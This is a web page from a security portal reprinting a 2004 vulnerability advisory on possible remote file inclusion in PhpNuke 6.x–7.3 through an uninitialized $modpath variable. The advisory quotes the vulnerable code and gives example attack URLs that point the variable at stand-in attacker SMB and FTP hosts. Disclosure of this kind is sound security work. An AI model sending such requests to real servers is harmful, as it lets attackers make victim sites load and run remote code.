Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
August 26, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 255
Members: 0
Total: 255
PacketStorm News
Currently there is a problem with headlines from this site
[waraxe-2004-SA#029] - Possible remote file inclusion in PhpNuke 6.x - 7.3





Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=29


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From what should i start? Well, let's begin from looking at source code of the
index.php file from PhpNuke package.

From original code:

----------------------------------------------------------------------
...

if (file_exists("themes/$ThemeSel/modules/$name/$mod_file.php"))
{
$modpath = "themes/$ThemeSel/";
}
$modpath .= "modules/$name/$mod_file.php";
if (file_exists($modpath))
{
include($modpath);
}
else
{

...

----------------------------------------------------------------------

What we can see, is that IF selected theme has not customized module file, then path
to default module file will be concatenated to variable $modpath:

$modpath .= "modules/$name/$mod_file.php";

Hmm, it seems, that $modpath is not initialized at all on those conditions...
Let's test it in real world:

http://localhost/nuke73/index.php?modpath=foobar

And what we can see:

"There is a problem right now on the Homepage. Please check back later."

Yes, yes, yes, it works! But now comes bad news for all potential attackers (and good
news for website admins): you see the code "if (file_exists($modpath))"?
This checking routine will fail our attempt to remote file inclusion on most of the
servers. Why "most", not "all"? For answer let's look at php manual (RTFM!!!):

From php manual:

----------------------------------------------------------------------
...

file_exists

(PHP 3, PHP 4 )
file_exists -- Checks whether a file or directory exists

Description
bool file_exists ( string filename)

Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.
On windows, use //computername/share/filename or \computernamesharefilename to
check files on network shares.

Tip: As of PHP 5.0.0 this function can also be used with some url wrappers.
Refer to Appendix I for a listing of which wrappers support stat() family of functionality.

...
-----------------------------------------------------------------------

And if we look for information about "some url wrappers", then we can see, that
in case of php version 5.x remote inclusion through ftp protocol is possible, because
"file_exists()" function will return "true", when "$modpath" is properly set.

So by my opinion there is 2 cases, when remote file inclusion is possible:


1. If victim server is running Windows operating system and there are no firewall
restrictions against remote SMB connections. Then potential attacker can exploit
remote file inclusion with http request similar like this:

http://localhost/nuke73/index.php?modpath=//attacker_ip/share_name/


2. If victim server is running php version 5.x, then attack request can be something like this:

http://localhost/nuke73/index.php?modpath=ftp://attacker.com/directory/


And because windows servers with phpnuke are rare fenomena, and php version 5.x
is not yet widespread, then right now this remote file inclusion case is not so
critical and will not harm many servers, but it's needed to be fixed ASAP.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch this security hole? Then you are welcome to visit
forum on my homepage at http://www.waraxe.us/forum/
See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (12142 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Oracle Java SE CVE-2015-4860 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4872 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4911 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4903 Remote Security Vulnerability
·Bugtraq: [SECURITY] [DSA 3413-1] openssl security update
·Bugtraq: [SECURITY] [DSA 3412-1] redis security update
·Bugtraq: [security bulletin] HPSBGN03525 rev.1: HP Performance Center Virtual Table Server, Remote Code Execution
·Bugtraq: ESA-2015-171 EMC NetWorker Denial-of-service Vulnerability
·More rss feeds from SecurityFocus

read more...
alexa



Hard drive recovery - Game Cheats - Book Reviews - Cisco VPN error 412
Harry Potter - Book Reviews - Old Science Books Online - Biographies Online Database
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.047 Seconds